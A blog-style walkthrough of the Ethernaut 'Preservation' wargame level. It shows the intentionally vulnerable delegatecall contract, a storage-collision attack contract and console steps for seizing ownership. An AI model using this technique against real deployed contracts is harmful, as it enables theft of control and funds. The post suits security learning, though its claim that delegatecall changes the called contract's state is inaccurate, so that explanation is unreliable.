#16 — Ethernaut Challenge 16 — Preservation
Objective:
- The goal of this level is for you to claim ownership of the instance you are given.
Understanding the code:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Preservation {
// public library contracts
address public timeZone1Library;
address public timeZone2Library;
address public owner;
uint storedTime;
// Sets the function signature for delegatecall
bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));
constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) {
timeZone1Library = _timeZone1LibraryAddress;
timeZone2Library = _timeZone2LibraryAddress;
owner = msg.sender;
}
// set the time for timezone 1
function setFirstTime(uint _timeStamp) public {
timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}
// set the time for timezone 2
function setSecondTime(uint _timeStamp) public {
timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}
}
// Simple library contract to set the time
contract LibraryContract {
// stores a timestamp
uint storedTime;
function setTime(uint _time) public {
storedTime = _time;
}
}
The code declares two libraries as public which are referenced as timeZone1Library and timeZone2Library, and owner is the variable in which our address would go. The bytes4 constant sets the function signature for delegatecall and calls the setTime function in the LibraryContract. The constructor initializes these variables upon deploying the contract.
The setFirstTime() function makes a delegatecall to the timeZone1Library library, and setSecondTime() makes a delegatecall to timeZone2Library. If you recall, a delegatecall will change the state variables of the contract being called. We will use this information to hack the contract.
In the next part of the code, a Library is made with a storedTime variable and a function called setTime() which turns storedTime into the time declared as a parameter of this function.
How to hack this contract?
- Let’s see who the current owner of the contract is. Open up the console and check for await contract.owner(). You will see the instance address. Copy this address.
- On the console again, type in web3.eth.getStorageAt(“YOUR_CONTRACT_ADDRESS”, 0). This will give you the address of the first variable in the challenge’s contract, which is timeZone1Library. Let’s head to Remix IDE to hack this contract.
- This is the solution contract code:
contract PreservationAtx{
address public timeZone1Library;
address public timeZone2Library;
address public owner;
uint storedTime;
function setTime(uint _time) public{
owner = msg.sender;
}
}
It is important to note that the variables are in the same order as the main contract because we will use the same storage order as the main Preservation contract.
4. Deploy this contract on Remix and copy the address of this contract, and head over back to Ethernaut. Now, let’s do
await contract.setFirstTime(“THE_COPIED_ADDRESS_HERE”)
5. This will set the timeZone1Library to the contract we created because it makes a delegatecall whose state variables our contract can alter after we deploy it.
6. Finally, do await contract.setFirstTime(“YOUR_ADDRESS_HERE”).
7. That’s it, the contract should be hacked now, and you should be the owner when you do await contract.owner().
Congratulations on completing this level, more solutions to the remaining challenges will be coming up in my next blog posts, so make sure to follow and clap for more similar content!
Thanks for reading this far. I wish you all the best!